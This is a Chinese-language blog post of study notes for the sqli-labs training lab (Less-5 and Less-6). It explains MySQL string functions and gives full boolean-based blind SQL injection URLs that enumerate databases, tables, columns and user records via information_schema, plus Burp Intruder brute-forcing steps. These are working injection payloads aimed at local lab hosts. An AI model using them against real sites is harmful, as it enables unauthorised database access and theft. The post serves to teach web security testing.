sqli lab5-6

  1. left()函数:  left(database(),1)=‘s’        

            left(a,b)从左侧截取a的前b位,正确则返回1,错误则返回0

select left(database(),1)=‘s’;   前1位是否是s

regexp函数:select user() regexp ‘r’            

    user()的结果是root,regexp为匹配root的正则表达式

 

 

like函数: select user() like ‘ro%’                        匹配与regexp相似。

 

substr(a,b,c)   select substr() XXXX               

       substr(a,b,c)从位置b开始,截取a字符串c位长度

 

ascii()                     将某个字符串转化为ascii值 

 

  select ascii(substr((select database()),1,1));    直接回显115  或者是:

 select ascii(substr((select database()),1,1)) > 110;  如果大于110,就会返回1,否则返回0.

 

6. chr(数字)   或者是ord(‘字母’)    使用python中的两个函数可以判断当前的ascii值是多少

对于security数据库:

Less-05

 

 

 

猜列有3列

 

猜数据库

方法一

http://192.168.50.254/sqli/Less-5/?id=1'and   left((select database()),1)='s '--+;

 

 

burp抓包暴力破解

 

 

 

输入之后,burp拿到包,我们把数据发送到爆破模块:

 然后在爆破模块,首先clear其他值,然后将a作为变量add一下

选择类型为暴力破解,长度都是1:

 

线程是50

 

 

破解第二个字母

 

  • 或者是使用if来进行判断测试:
  •  http://127.0.0.1/sqli/Less-5/?id=1‘ and  ascii(substr((select database()),1,1))>156--+(此时是没有返回的) (这种方法是错误的)

因为此时没有选择任何数据库  数据库为空 所以不管写多大数都会有回显信息

 

http://192.168.50.100/sqli/Less-5/?id=1' and

 ascii(substr((select                           schema_name from information_schema.schemata limit 1,1),1,1)) >100 --+

 

此处不回显 说明小于100

 

 

 

 

一个一个的猜库

猜第二个字母

 

 

 

以此类推得到库名 challenge

  • 1. http://127.0.0.1/sqli/Less-5/?id=1’ and  ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >100--+ 通过二分法猜解得到所有的库,红色为可变参数。
  • 2. http://127.0.0.1/sqli/Less-5/?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),1,1))>1--+  再次通过二分法可猜解得到security下的所有表。其中,红色为可变参数。
  • 3. http://127.0.0.1/sqli/Less-5/?id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 1,1),1,1)) >1 --+  通过二分法可猜解users内的字段,其中红色为可变参数。
  • 4. http://127.0.0.1/sqli/Less-5/?id=1’  and ascii(substr((select username from security.users limit 1,1),1,1))>1--+继续猜解即可得到字段内的值。

Less-6

 

加了单引号没有什么不同

 

加了双引号则报错

 

说明是布尔盲注

然后再爆列

3回显 4报错 说明有三列

 

 

  • 完整注入流程:
  • 1. http://127.0.0.1/sqli/Less-5/?id=1” and  ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >100--+ 通过二分法猜解得到所有的库,红色为可变参数。
  • 2. http://127.0.0.1/sqli/Less-5/?id=1”and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),1,1))>1--+  再次通过二分法可猜解得到security下的所有表。其中,红色为可变参数。
  • 3. http://127.0.0.1/sqli/Less-5/?id=1” and ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 1,1),1,1)) >1 --+  通过二分法可猜解users内的字段,其中红色为可变参数。
  • 4. http://127.0.0.1/sqli/Less-5/?id=1”and ascii(substr((select username from security.users limit 1,1),1,1))>1--+继续猜解即可得到字段内的值。
原文地址:https://www.cnblogs.com/xingyuner/p/12227358.html